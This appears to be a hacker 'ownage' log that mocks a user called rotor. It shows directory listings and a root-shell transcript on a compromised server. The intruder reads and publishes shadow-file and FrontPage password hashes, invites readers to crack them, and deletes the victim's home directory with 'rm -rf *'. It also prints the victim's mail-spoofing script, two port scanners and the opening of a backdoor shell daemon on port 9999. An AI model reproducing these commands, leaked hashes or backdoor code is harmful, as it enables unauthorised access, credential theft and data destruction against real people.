-rw-r--r-- 1 32479 killerz 2577 Jan 3 21:06 index.html
-rw-r--r-- 1 32479 killerz 1383 Mar 26 03:43 kscan.c
code:
drwxr-xr-x 2 32479 killerz 4096 Dec 19 19:07 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
-rw-r--r-- 1 32479 killerz 507 Dec 19 19:07 coolPHP.txt
etc:
drwxr-x--- 3 32479 12 4096 Dec 17 13:09 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
-rw-r--r-- 1 32479 killerz 0 Dec 17 13:00 .imapv4cp5c
-rw-r--r-- 1 32479 killerz 0 Dec 17 13:09 ftpquota
drwxr-x--- 2 32479 12 4096 Mar 28 01:29 killerz.org
mail:
drwxrwx--- 3 32479 12 4096 Apr 6 07:57 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
-rw-rw---- 1 32479 12 508 Jan 9 18:54 INBOX.Drafts
-rw-rw---- 1 32479 12 1351 Jan 9 21:14 INBOX.Sent
-rw-rw---- 1 32479 12 714071 Jan 9 18:58 INBOX.Trash
-rw-rw---- 1 32479 12 7203732 Apr 6 07:57 inbox
drwxr-xr-x 3 32479 12 4096 Dec 17 04:19 killerz.org
-rw-rw---- 1 32479 12 210853 Jan 9 18:53 neomail-trash
-rw-rw---- 1 32479 12 0 Dec 19 22:38 saved-messages
-rw-rw---- 1 32479 12 426549 Jan 9 18:54 sent-mail
public_ftp:
drwxr-xr-x 3 32479 killerz 4096 Dec 15 14:52 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:52 incoming
public_html:
drwxr-x--- 30 32479 99 4096 Apr 6 14:45 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
-rw-r--r-- 1 32479 killerz 356 Dec 15 14:53 .htaccess
-rw-r--r-- 1 32479 killerz 332394 Mar 20 20:33 0x41.tgz
drwxr-xr-x 2 32479 killerz 4096 Jan 13 01:14 FreeBSD
-rw-r--r-- 1 32479 killerz 30720 Jan 28 12:29 FreeBSD.png
-rw-r--r-- 1 32479 killerz 458 Dec 31 03:33 LOL.html
-rw-r--r-- 1 32479 killerz 147448 Mar 28 04:58 Scan0007.jpg
-rw-r--r-- 1 32479 killerz 10240 Dec 17 13:14 Thumbs.db
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _private
drwxr-xr-x 4 32479 killerz 4096 Dec 15 14:53 _vti_bin
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _vti_cnf
-rw-r--r-- 1 32479 killerz 1754 Dec 15 14:53 _vti_inf.html
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _vti_log
drwxr-x--- 2 32479 99 4096 Mar 28 01:16 _vti_pvt
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _vti_txt
drwxrwxrwx 5 32479 killerz 4096 Dec 31 01:36 abicons
-rw-r--r-- 1 32479 killerz 373 Dec 30 22:49 b4b0.php
-rw-r--r-- 1 32479 killerz 5307 Mar 31 14:21 c0n3ct.c
drwxr-xr-x 2 32479 killerz 4096 Dec 26 21:35 cam2
drwxr-xr-x 3 32479 killerz 4096 Dec 31 01:35 cgi-bin
drwxr-xr-x 2 32479 killerz 4096 Jan 9 22:39 code
drwxr-xr-x 5 32479 killerz 4096 Dec 25 15:16 cutenews
drwxr-xr-x 2 32479 killerz 4096 Dec 26 20:51 ebay
drwxr-xr-x 4 32479 killerz 4096 Dec 22 18:35 electronics
drwxr-xr-x 3 32479 killerz 4096 Mar 19 00:37 fileupload
drwxr-xr-x 2 32479 killerz 4096 Apr 4 21:43 fuck
-rw-r--r-- 1 32479 killerz 5298 Mar 21 17:45 hawe
drwxr-xr-x 2 32479 killerz 4096 Dec 24 04:09 images
-rw-r--r-- 1 32479 killerz 2568 Mar 19 01:22 index.php
drwxr-xr-x 2 32479 killerz 4096 Dec 17 13:13 index_files
drwxr-xr-x 3 32479 killerz 4096 Dec 19 19:51 irc
-rw-r--r-- 1 32479 killerz 921 Jan 4 03:58 kdoor.txt
-rw-r--r-- 1 32479 killerz 1776 Mar 24 05:16 klog.txt
-rw-r--r-- 1 32479 killerz 1994 Apr 5 02:31 kscan.c
drwxr-xr-x 2 32479 killerz 4096 Dec 17 14:49 music
-rw-r--r-- 1 32479 killerz 1390 Mar 20 02:56 netit
-rw-r--r-- 1 32479 killerz 5123 Mar 20 03:01 netstat.txt
drwxr-xr-x 4 32479 killerz 4096 Dec 24 03:20 newlay
-rw-r--r-- 1 32479 killerz 133435 Mar 22 02:55 newss.GIF
drwxr-xr-x 2 32479 killerz 4096 Dec 22 18:32 papers
drwxr-xr-x 4 32479 killerz 4096 Mar 18 23:46 pastebin
-rwxr-xr-x 1 32479 killerz 6625 Mar 18 23:47 pastebin.pl
drwxr-xr-x 10 32479 killerz 4096 Dec 17 13:01 phpBB
drwxr-xr-x 5 32479 killerz 4096 Jan 17 17:52 pics
-rw-r--r-- 1 32479 killerz 2448 Dec 15 14:53 postinfo.html
drwxr-xr-x 2 32479 killerz 4096 Mar 26 19:49 r00t
drwxr-xr-x 3 32479 killerz 4096 Mar 17 23:50 scamz
-rw-r--r-- 1 32479 killerz 2777 Mar 25 02:54 shelld.c
-rw-r--r-- 1 32479 killerz 1123 Mar 23 23:58 tsniff.txt
drwxr-xr-x 5 32479 killerz 4096 Mar 28 22:40 ~techg0d
tmp:
drwx------ 6 32479 killerz 4096 Dec 29 11:10 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
drwx------ 4 32479 killerz 4096 Apr 3 18:28 analog
drwx------ 2 32479 killerz 4096 Apr 3 18:28 awstats
-rw-r--r-- 1 32479 killerz 0 Apr 3 18:28 lastrun
-rw-r--r-- 1 32479 killerz 0 Apr 4 06:48 lastrun.bw
drwx------ 4 32479 killerz 4096 Apr 1 17:07 webalizer
drwx------ 2 32479 killerz 4096 Mar 18 02:04 webalizerftp
www:
drwxr-x--- 30 32479 99 4096 Apr 6 14:45 .
drwx--x--x 12 32479 killerz 4096 Apr 6 14:38 ..
-rw-r--r-- 1 32479 killerz 356 Dec 15 14:53 .htaccess
-rw-r--r-- 1 32479 killerz 332394 Mar 20 20:33 0x41.tgz
drwxr-xr-x 2 32479 killerz 4096 Jan 13 01:14 FreeBSD
-rw-r--r-- 1 32479 killerz 30720 Jan 28 12:29 FreeBSD.png
-rw-r--r-- 1 32479 killerz 458 Dec 31 03:33 LOL.html
-rw-r--r-- 1 32479 killerz 147448 Mar 28 04:58 Scan0007.jpg
-rw-r--r-- 1 32479 killerz 10240 Dec 17 13:14 Thumbs.db
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _private
drwxr-xr-x 4 32479 killerz 4096 Dec 15 14:53 _vti_bin
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _vti_cnf
-rw-r--r-- 1 32479 killerz 1754 Dec 15 14:53 _vti_inf.html
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _vti_log
drwxr-x--- 2 32479 99 4096 Mar 28 01:16 _vti_pvt
drwxr-xr-x 2 32479 killerz 4096 Dec 15 14:53 _vti_txt
drwxrwxrwx 5 32479 killerz 4096 Dec 31 01:36 abicons
-rw-r--r-- 1 32479 killerz 373 Dec 30 22:49 b4b0.php
-rw-r--r-- 1 32479 killerz 5307 Mar 31 14:21 c0n3ct.c
drwxr-xr-x 2 32479 killerz 4096 Dec 26 21:35 cam2
drwxr-xr-x 3 32479 killerz 4096 Dec 31 01:35 cgi-bin
drwxr-xr-x 2 32479 killerz 4096 Jan 9 22:39 code
drwxr-xr-x 5 32479 killerz 4096 Dec 25 15:16 cutenews
drwxr-xr-x 2 32479 killerz 4096 Dec 26 20:51 ebay
drwxr-xr-x 4 32479 killerz 4096 Dec 22 18:35 electronics
drwxr-xr-x 3 32479 killerz 4096 Mar 19 00:37 fileupload
drwxr-xr-x 2 32479 killerz 4096 Apr 4 21:43 fuck
-rw-r--r-- 1 32479 killerz 5298 Mar 21 17:45 hawe
drwxr-xr-x 2 32479 killerz 4096 Dec 24 04:09 images
-rw-r--r-- 1 32479 killerz 2568 Mar 19 01:22 index.php
drwxr-xr-x 2 32479 killerz 4096 Dec 17 13:13 index_files
drwxr-xr-x 3 32479 killerz 4096 Dec 19 19:51 irc
-rw-r--r-- 1 32479 killerz 921 Jan 4 03:58 kdoor.txt
-rw-r--r-- 1 32479 killerz 1776 Mar 24 05:16 klog.txt
-rw-r--r-- 1 32479 killerz 1994 Apr 5 02:31 kscan.c
drwxr-xr-x 2 32479 killerz 4096 Dec 17 14:49 music
-rw-r--r-- 1 32479 killerz 1390 Mar 20 02:56 netit
-rw-r--r-- 1 32479 killerz 5123 Mar 20 03:01 netstat.txt
drwxr-xr-x 4 32479 killerz 4096 Dec 24 03:20 newlay
-rw-r--r-- 1 32479 killerz 133435 Mar 22 02:55 newss.GIF
drwxr-xr-x 2 32479 killerz 4096 Dec 22 18:32 papers
drwxr-xr-x 4 32479 killerz 4096 Mar 18 23:46 pastebin
-rwxr-xr-x 1 32479 killerz 6625 Mar 18 23:47 pastebin.pl
drwxr-xr-x 10 32479 killerz 4096 Dec 17 13:01 phpBB
drwxr-xr-x 5 32479 killerz 4096 Jan 17 17:52 pics
-rw-r--r-- 1 32479 killerz 2448 Dec 15 14:53 postinfo.html
drwxr-xr-x 2 32479 killerz 4096 Mar 26 19:49 r00t
drwxr-xr-x 3 32479 killerz 4096 Mar 17 23:50 scamz
-rw-r--r-- 1 32479 killerz 2777 Mar 25 02:54 shelld.c
-rw-r--r-- 1 32479 killerz 1123 Mar 23 23:58 tsniff.txt
drwxr-xr-x 5 32479 killerz 4096 Mar 28 22:40 ~techg0d
## Well.. ftp access is good and all... but I want more
random rotor quotes;
"Another Idler in #obs was owned today!!!!!!!!!!"
"today when i joined #obs psx fronted, So his BNC was pwnd"
[------ Cutting edge targets rotor. You make us proud.^^
root@panther [/root]# uname -a
Linux panther.unixbsd.info 2.6.10-grsec
root@panther [/root]#
[------ GRSEC!@# that's jokes.^
root@panther [/home/killerz]# ls
./ .lastlogin .spamkey connectback.c
proftpm00.c
../ .mailboxlist .sqmaildata/ etc/
public_ftp/
.addon-installlog .neomail/ .trash/ index.html
public_html/
.addonscgi-phpBB .neomail-rotor/ FreeBSD.png kscan.c tmp/
.contactemail .phpchats code/ mail/ www@
root@panther [/home/killerz]#
root@panther [/home/killerz]# cd www/
root@panther [/home/killerz/www]# ls
./ _vti_pvt/ hawe obs-own.txt
../ _vti_txt/ images/ owned/
.htaccess abicons/ index.php papers/
0wn.GIF b4b0.php index.txt pastebin/
0x41.tgz c0n3ct.c index_files/ pastebin.pl*
0yster.GIF cam2/ irc/ phpBB/
0yster.pl cgi-bin/ kdoor.txt pics/
FreeBSD/ cisco2 klog.txt postinfo.html
FreeBSD.png code/ kscan.c proftpm00.c
LOL.html connectback.c m00-mod_gzip.c psx-0wn.txt
Scan0007.jpg cutenews/ m00-omfg-HL-again.c r00t/
Thumbs.db ebay/ m00seahouse-0.1.tar.gz scamz/
_private/ ecart-xpl.php music/ shelld.c
_vti_bin/ electronics/ netit tsniff.txt
_vti_cnf/ error_log netstat.txt www-beta
_vti_inf.html fileupload/ newlay/ ~techg0d/
_vti_log/ fuck/ newss.GIF
root@panther [/home/killerz/www]#
root@panther [/home/killerz/www]# cd ..
root@panther [/home/killerz]# ls
./ .lastlogin .spamkey connectback.c
proftpm00.c
../ .mailboxlist .sqmaildata/ etc/
public_ftp/
.addon-installlog .neomail/ .trash/ index.html
public_html/
.addonscgi-phpBB .neomail-rotor/ FreeBSD.png kscan.c tmp/
.contactemail .phpchats code/ mail/ www@
root@panther [/home/killerz]# cd mail/
root@panther [/home/killerz/mail]# ls
./ INBOX.Drafts INBOX.Trash killerz.org/ saved-messages
../ INBOX.Sent inbox neomail-trash sent-mail
root@panther [/home/killerz/mail]#
root@panther [/home/killerz/mail]# ls
./ INBOX.Drafts INBOX.Trash killerz.org/ saved-messages
../ INBOX.Sent inbox neomail-trash sent-mail
root@panther [/home/killerz/mail]# cd killerz.org/
root@panther [/home/killerz/mail/killerz.org]# ls
./ ../ rotor/
root@panther [/home/killerz/mail/killerz.org]# cd rotor/
root@panther [/home/killerz/mail/killerz.org/rotor]# ls
./ ../ .mailboxlist INBOX.Drafts INBOX.Sent INBOX.Trash inbox
sent-mail
root@panther [/home/killerz/mail/killerz.org/rotor]#
root@panther [/home/killerz/mail]# ls
./ INBOX.Drafts INBOX.Trash killerz.org/ saved-messages
../ INBOX.Sent inbox neomail-trash sent-mail
root@panther [/home/killerz/mail]# cd ..
root@panther [/home/killerz]# ls
./ .lastlogin .spamkey connectback.c
proftpm00.c ../ .mailboxlist .sqmaildata/ etc/
public_ftp/ .addon-installlog .neomail/ .trash/
index.html
public_html/ .addonscgi-phpBB .neomail-rotor/ FreeBSD.png kscan.c
tmp/
.contactemail .phpchats code/ mail/ www@
root@panther [/home/killerz]# cd etc
root@panther [/home/killerz/etc]# ls
./ ../ .imapv4cp5c ftpquota killerz.org/
root@panther [/home/killerz/etc]# cd killerz.org/
root@panther [/home/killerz/etc/killerz.org]# ls
./ ../ passwd passwd,v quota quota,v shadow shadow,v
root@panther [/home/killerz/etc/killerz.org]# cat shadow
rotor:$1$LXus42oY$ji4FpxrSMSkFVfw0OZer5/:::::::
root@panther [/home/killerz/etc/killerz.org]#
[------ lame.^
root@panther [/home/killerz/www]# cd owned
root@panther [/home/killerz/www/owned]# ls
./ djwink.php hostile.php lamerDJWINK* lamerHOSTILE*
lamerREVIX* lamerWARCHILD* seattle.php
../ dog.php index.html lamerDOG* lamerKELS*
lamerSEATTLE* locustz.php silkk.php
arren.php e.php kels.php lamerE* lamerLOCUSTZ*
lamerSILKK* nesa.php spectre.php
badonkadonk.png escape.php lamerARREN* lamerESCAPE* lamerNESA*
lamerSPECTRE* revix.php warchild.php
root@panther [/home/killerz/www/owned]#
[------ you hacker.
root@panther [/home/killerz/www]# head -n15 psx-0wn.txt
#######################################
### Another Idler in #obs was owned today!!!!!!!!!! ###
######################################
today when i joined #obs psx fronted, So his BNC was pwnd
xsp@ssh1[~]$ ps -x
PID TT STAT TIME COMMAND
35701 ?? I 0:01.04 sshd: xsp@ttyp9 (sshd)
40507 ?? S 0:00.01 sshd: xsp@ttype (sshd)
35702 p9 Is 0:00.02 -bash (bash)
38874 p9 I+ 0:00.24 BitchX irc.easynews.com -H smokinweed.info
40508 pe Ss 0:00.01 -bash (bash)
40512 pe R+ 0:00.00 ps -x
73054 pe- S 6:12.47 ./psybnc
root@panther [/home/killerz/www]#
[------ you are hands down the most hardcore.
[------ owning idlers in channels on irc?! hot!
root@panther [/home/killerz/www/code]# head -n10 anon.txt
#!/usr/bin/perl
# (C) rotor 2004 - 2005
# http://www.killerz.org
# irc.killerz.org | rotor@killerz.org
# Script to send anonoymous mail
use Getopt::Std;
use IO::Socket;
root@panther [/home/killerz/www/code]# cat anon.txt
#!/usr/bin/perl
# (C) rotor 2004 - 2005
# http://www.killerz.org
# irc.killerz.org | rotor@killerz.org
# Script to send anonoymous mail
use Getopt::Std;
use IO::Socket;
getopt('hupfm', \%opts);
if (@ARGV == $opts{h}) {
print("$0 (C) rotor 2004 - 2005\n");
print("http://www.killerz.org \n");
print("$0 Help: \n");
print("-u help \n");
print("-h server \n");
print("-p port \n");
print("-f sender \n");
print("-m msg \n");
exit
}
$server = $opts{h}; # SMPT server
$port = $opts{p}; # SMPT server port
$sender = $opts{f}; # MAIL from
$recip = $opts{r}; # recipient
$msg =$opts{m}; #msg
my $sock = IO::Socket::INET->new(PeerAddr => "$server ",
PeerPort => "$port ",
Proto => "tcp")
or die "Cannot connect to host\n";
print("Decalre were email is sending from\n");
print $sock "HELO localhost\n";
sleep(1);
print("Giving email address from\n");
print $sock "MAIL FROM: $sender\n";
sleep(1);
print("Recipients address\n");
print $sock "RCPT TO: $recip\n";
sleep(1);
print("Sending cmd for msg compose\n");
print $sock "DATA\n";
print("Sending Subject\n");
print("Enter Subject:");
$sub=<STDIN>;
print $sock "Subject: $sub\n";
print("Sending msg\n");
print $sock "$msg\n";
[------ cutting edge warez. amazing.
root@panther [/home/killerz/www/code]#
root@panther [/home/killerz/www/code]# ls
./ ../ anon.txt coolPHP.txt kscan.pl
root@panther [/home/killerz/www/code]# head -n10 coolPHP.txt
#!/usr/bin/perl
# (C) un4m3 aka rotor
# irc.killerz.org | www.killerz.org
# "I came, I saw, I lied, I got owned"
# thankyou to ntx0f for his help
if (@ARGV < 3 ) {
print "Usage: <host> <path> <append>\n";
}
root@panther [/home/killerz/www/code]#
[------ someday rotor. someday.
root@panther [/home/killerz/www]# cd music/
root@panther [/home/killerz/www/music]# ls
./ Brotha\ Lynch\ Hung\ -\ One\ Nigga\ Dead.mp3 c0n3ct.c
../ Brotha\ Lynch\ Hung\ -\ Walking\ To\ My\ Funeral.mp3 deria.jpg
root@panther [/home/killerz/www/music]#
[------ you gansta.
root@panther [/home/killerz/www]# head -n10 obs-own.txt
sh-2.06$ cat 0wn3d-n1gg4z.txt
********************************
*** #obs own3d in
2005 ***
*** You chose to fuck
with us?? ***
********************************
Contents Of this text:
1: Info on the people involved
2: Logs of the people involved
3: Attacks
root@panther [/home/killerz/www]#
[------ haha. we owned you in 2005 also. thats like, out of control.
root@panther [/home/killerz/www/_private]# ls
./ ../ .htaccess
root@panther [/home/killerz/www/_private]# cat .htaccess
# -FrontPage-
Options None
<Limit GET POST>
order deny,allow
deny from all
allow from all
require group authors administrators
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthType Basic
AuthName www.killerz.org
AuthUserFile /home/killerz/public_html/_vti_pvt/service.pwd
AuthGroupFile /home/killerz/public_html/_vti_pvt/service.grp
root@panther [/home/killerz/www/_private]# cat
/home/killerz/public_html/_vti_pvt/service.pwd
killerz:rBeX.9UIJOnYU
root@panther [/home/killerz/www/_private]# cd /home/killerz
[------ it's just for decoration son.
root@panther [/home/killerz]# ls
./ .contactemail .neomail-rotor/ .trash/ etc/
proftpm00.c www@
../ .lastlogin .phpchats FreeBSD.png
index.html public_ftp/
.addon-installlog .mailboxlist .spamkey code/
kscan.c public_html/
.addonscgi-phpBB .neomail/ .sqmaildata/ connectback.c mail/
tmp/
root@panther [/home/killerz]#
[--------- - was fun, most boring.
root@panther [/home/killerz]# rm -rf *
rm: cannot remove `.' or `..'
rm: cannot remove `.' or `..'
root@panther [/home/killerz]# ls
./ ../
root@panther [/home/killerz]#
root@panther [/tmp]# cat /etc/shadow | grep killerz
killerz:$1$KcR4KL0s$bHH0lKn5cYW5zMKnhInsh/:12870:::::: // But feel free to
crack his password :)
root@panther [/home2/killerz]# ls
./ .addon-installlog .contactemail .mailboxlist .neomail-rotor/
.spamkey .trash/ code/ index.html mail/ public_html/
www@
../ .addonscgi-phpBB .lastlogin .neomail/ .phpchats
.sqmaildata/ FreeBSD.png etc/ kscan.c public_ftp/ tmp/
root@panther [/home2/killerz]# ls *
FreeBSD.png index.html kscan.c
code:
./ ../ coolPHP.txt
etc:
./ ../ .imapv4cp5c ftpquota killerz.org/
mail:
./ ../ INBOX.Drafts INBOX.Sent INBOX.Trash inbox killerz.org/
neomail-trash saved-messages sent-mail
public_ftp:
./ ../ incoming/
public_html:
./ 0x41.tgz LOL.html _private/ _vti_inf.html _vti_txt/
c0n3ct.c chat.txt ebay/ fuck/ index.php kdoor.txt music/
newlay/ papers/ phpBB/ r00t/ tsniff.txt
../ FreeBSD/ Scan0007.jpg _vti_bin/ _vti_log/ abicons/
cam2/ code/ electronics/ hawe index_files/ klog.txt netit
newss.GIF pastebin/ pics/ scamz/ www-beta
.htaccess FreeBSD.png Thumbs.db _vti_cnf/ _vti_pvt/ b4b0.php
cgi-bin/ cutenews/ fileupload/ images/ irc/ kscan.c
netstat.txt owned/ pastebin.pl* postinfo.html shelld.c ~techg0d/
www:
./ 0x41.tgz LOL.html _private/ _vti_inf.html _vti_txt/
c0n3ct.c chat.txt ebay/ fuck/ index.php kdoor.txt music/
newlay/ papers/ phpBB/ r00t/ tsniff.txt
../ FreeBSD/ Scan0007.jpg _vti_bin/ _vti_log/ abicons/
cam2/ code/ electronics/ hawe index_files/ klog.txt netit
newss.GIF pastebin/ pics/ scamz/ www-beta
.htaccess FreeBSD.png Thumbs.db _vti_cnf/ _vti_pvt/ b4b0.php
cgi-bin/ cutenews/ fileupload/ images/ irc/ kscan.c
netstat.txt owned/ pastebin.pl* postinfo.html shelld.c ~techg0d/
tmp:
./ ../ analog/ awstats/ lastrun lastrun.bw webalizer/ webalizerftp/
root@panther [/home2/killerz]# cd www
root@panther [/home2/killerz/www]# ls *
0x41.tgz LOL.html Thumbs.db b4b0.php chat.txt index.php
klog.txt netit newss.GIF postinfo.html tsniff.txt
FreeBSD.png Scan0007.jpg _vti_inf.html c0n3ct.c hawe kdoor.txt
kscan.c netstat.txt pastebin.pl* shelld.c www-beta
FreeBSD:
./ ../ FreeBSD-flat.vmdk FreeBSD.png FreeBSD.png.sav FreeBSD.vmdk
FreeBSD.vmsn FreeBSD.vmx.sav nvram nvram.sav
_private:
./ ../ .htaccess
_vti_bin:
./ ../ .htaccess _vti_adm/ _vti_aut/
_vti_cnf:
./ ../ .htaccess
_vti_log:
./ ../ .htaccess
_vti_pvt:
./ ../ .htaccess .roles access.cnf botinfs.cnf bots.cnf deptodoc.btr
doctodep.btr frontpg.lck service.cnf service.grp service.lck
service.pwd services.cnf svcacl.cnf writeto.cnf
_vti_txt:
./ ../ .htaccess
abicons:
./ ava_bart.gif ava_inspector.gif
blugr-folder.gif clip.gif error.gif idea.gif
nb-blugr-go.gif pixel.gif support.gif wb-left.gif
../ ava_biz_man.gif ava_penguin.gif
blugr-folder_new.gif closedfolder.gif find.gif img.gif
nb-blugr-login.gif question.gif tongue.gif
wb-right.gif
3go.gif ava_blonde.gif ava_poo_bear.gif
botleftcorn.gif comp_usr.gif folder.gif index.html
nb-blugr-register.gif redarrow.gif top_corner_left.gif wb-top.gif
admin.gif ava_brutus.gif ava_popeye.gif
botrightcorn.gif curl_footer.gif folderlocked.gif join.gif
newmail.wav reload.gif top_corner_right.gif
wb-top_left.gif
agree.gif ava_duck.gif ava_red_nose.gif
bottom.gif curl_header.gif formicons/ line.gif
newpost.gif sad.gif topper2.gif
wb-top_right.gif
angry.gif ava_felix_cat.gif ava_sylvester.gif
bottom_corner_left.gif curve_ll.gif go.gif login.gif
news-eye.gif search_logo.jpg trans_img.gif who.gif
apache/ ava_garfield.gif ava_tweetybird.gif
bottom_corner_right.gif curve_lr.gif go32.gif logo.gif
news.gif smile.gif turtlegreen.gif yuk.gif
arc-left.gif ava_gentleman.gif ava_white_rabbit.gif
bottommenu.jpg curve_ul.gif go_btn.gif makeiconlist.pl
ntopcorn.gif smile_rotate.gif wb-bottom.gif
arc-right.gif ava_girl.gif ava_young_man.gif
brownmenu.jpg curve_ur.gif hlbg.gif menubrown.gif
ntopcornleft.gif smileb.gif wb-bottom_left.gif
ava.txt ava_girl_big_eye.gif avatars.htm
bullet.gif dark_folder.gif hline_mblue.gif msg.gif
overview.gif spinach.gif wb-bottom_right.gif
ava_barney_rubble.gif ava_huckleberryhound.gif blue-green.gif
chat.gif disagree.gif htmlarea/ navigate.gif
pencil.gif stats.gif wb-center.gif
cam2:
./ ../ back.JPG bottom.JPG front.JPG top.JPG
cgi-bin:
./ ../ abmasterd/ anyboard.cgi* getinfo.cgi* search.pl
code:
./ ../ anon.txt coolPHP.txt kscan.pl
cutenews:
./ ../ Copyright.GNU.txt README.htm data/ example1.php example2.php
inc/ index.php remember.js search.php show_archives.php show_news.php
skins/
ebay:
./ ../ index.html
electronics:
./ ../ ps2port/ volt/
fileupload:
./ ../ README.txt fileupload-class.php upload.php uploads/
fuck:
./ ../ kscan.c
images:
./ ../ 0day_cat_banner.jpg glowshell.gif
index_files:
./ ../ Thumbs.db filelist.xml image001.png image002.jpg
irc:
./ ../ .htaccess cgi-bin/
music:
./ ../ Brotha\ Lynch\ Hung\ -\ One\ Nigga\ Dead.mp3 Brotha\ Lynch\ Hung\
-\ Walking\ To\ My\ Funeral.mp3 c0n3ct.c deria.jpg
newlay:
./ ../ images/ index.html me.JPG search/
owned:
./ arren.php djwink.php e.php hostile.php kels.php
lamerDJWINK* lamerE* lamerHOSTILE* lamerLOCUSTZ* lamerREVIX*
lamerSILKK* lamerWARCHILD* nesa.php seattle.php spectre.php
../ badonkadonk.png dog.php escape.php index.html lamerARREN*
lamerDOG* lamerESCAPE* lamerKELS* lamerNESA* lamerSEATTLE*
lamerSPECTRE* locustz.php revix.php silkk.php warchild.php
papers:
./ ../ desolder.txt
pastebin:
./ ../ after before catdir/ cats pastes/
phpBB:
./ admin/ common.php db/ extension.inc groupcp.php includes/
language/ memberlist.php posting.php profile.php templates/
viewonline.php
../ cache/ config.php docs/ faq.php images/ index.php
login.php modcp.php privmsg.php search.php viewforum.php
viewtopic.php
pics:
./ ../ a3.JPG budz cam/ cross.JPG hk.JPG me.html me.swf meth/
modem.JPG moniter.JPG r0t0r1.JPG r0t0r2.JPG r0t0r3.JPG rotor!.JPG ss/
tower.JPG un4m31.jpg
r00t:
./ ../ shadow
scamz:
./ ../ lez/
~techg0d:
./ ../ AddonsForWebsites/ ircd/ tutorials/
root@panther [/home2/killerz/www]# cd code/
root@panther [/home2/killerz/www/code]# ls
./ ../ anon.txt coolPHP.txt kscan.pl
root@panther [/home2/killerz/www/code]# cat anon.txt
#!/usr/bin/perl
# (C) rotor 2004 - 2005
# http://www.killerz.org
# irc.killerz.org | rotor@killerz.org
# Script to send anonoymous mail
use Getopt::Std;
use IO::Socket;
getopt('hupfm', \%opts);
if (@ARGV == $opts{h}) {
print("$0 (C) rotor 2004 - 2005\n");
print("http://www.killerz.org \n");
print("$0 Help: \n");
print("-u help \n");
print("-h server \n");
print("-p port \n");
print("-f sender \n");
print("-m msg \n");
exit
}
$server = $opts{h}; # SMPT server
$port = $opts{p}; # SMPT server port
$sender = $opts{f}; # MAIL from
$recip = $opts{r}; # recipient
$msg =$opts{m}; #msg
my $sock = IO::Socket::INET->new(PeerAddr => "$server ",
PeerPort => "$port ",
Proto => "tcp")
or die "Cannot connect to host\n";
print("Decalre were email is sending from\n");
print $sock "HELO localhost\n";
sleep(1);
print("Giving email address from\n");
print $sock "MAIL FROM: $sender\n";
sleep(1);
print("Recipients address\n");
print $sock "RCPT TO: $recip\n";
sleep(1);
print("Sending cmd for msg compose\n");
print $sock "DATA\n";
print("Sending Subject\n");
print("Enter Subject:");
$sub=<STDIN>;
print $sock "Subject: $sub\n";
print("Sending msg\n");
print $sock "$msg\n";
root@panther [/home2/killerz/www/code]# cat kscan.pl
#!/usr/bin/perl
##
## killer-scan.pl (C) rotor 2005 - 2006
## rotor@killerz.org || http://www.killerz.org
use IO::Socket;
use strict;
my($port,$pstart,$pstop,$sock);
my $host = shift || 127.0.0.1;
$pstart = 1;
$pstop = 22;
for($port=$pstart;$port<=$pstop;$port++){
$sock = IO::Socket::INET->new("$host:$port") || next;
print "[ks] $port open on $host [ks]\n"; close($sock);
}
root@panther [/home2/killerz/www]# cat kscan.c
/*
* kscan.c (C) rotor 2005 - 2006
* rotor@killerz.org
* http://www.killerz.org
* http://dynamichell.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#define STARTP 1
#define ENDP 1024
#define GREEN "\E[32m"
#define RED "\E[31m"
int sock, i;
int StartP, EndP;
struct sockaddr_in addr;
struct hostent *h;
struct servent *s;
int check(int port);
int usage(char *);
int main(int argc, char *argv[])
{
if(argc < 2) {
usage(argv[0]);
}
if(strcmp(argv[2], "-")==0 && strcmp(argv[3], "-")==0) {
StartP = (int)STARTP;
EndP = (int)ENDP;
} else {
StartP = atoi(argv[2]);
EndP = atoi(argv[3]);
}
if(StartP > EndP) {
printf(RED "Error: Start port is higher then end port\n");
usage(argv[0]);
}
if ((h=gethostbyname(argv[1])) == NULL){
printf(RED "Cant reolve host\n");
usage(argv[0]);
}
printf(GREEN "Scanning Host %s from %s to %s
\n",argv[1],STARTP,ENDP);
for(i=STARTP; i <= ENDP; i++) {
if (check(i)==0) {
h=getservbyport(htons(i),"tcp");
printf(GREEN "Port %d is open \n",i);
}
close(sock);
}
return 0;
}
int usage(char *Progname) {
printf(GREEN "%s (C) rotor 2005 - 2006\n",Progname);
printf(RED "Usage: %s [host] [start-port] [end-port]\n",Progname);
exit(1);
}
int check(int port) {
if((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket");
exit;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *((struct in_addr *)h->h_addr);
if((connect(sock,(struct sockaddr *) &addr, sizeof(addr)))==0)
return 0;
else
return 1;
}
root@panther [/home2/killerz/www]# cat shelld.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mntent.h>
#include <sys/types.h>
#include <dirent.h>
#include <signal.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <asm/ioctls.h>
void startdaemon (void);
int
main (int argc, char *argv[])
{
int sock, csock, l;
struct sockaddr_in caddr;
startdaemon ();
if ((sock = create_server (9999)) == -1)
{
// change to stdout so we can see it from PHP!!@!@
fprintf (stderr, "create_server FAIL\n");
exit (-1);
}
// stop zombies
signal (SIGCHLD, SIG_IGN);
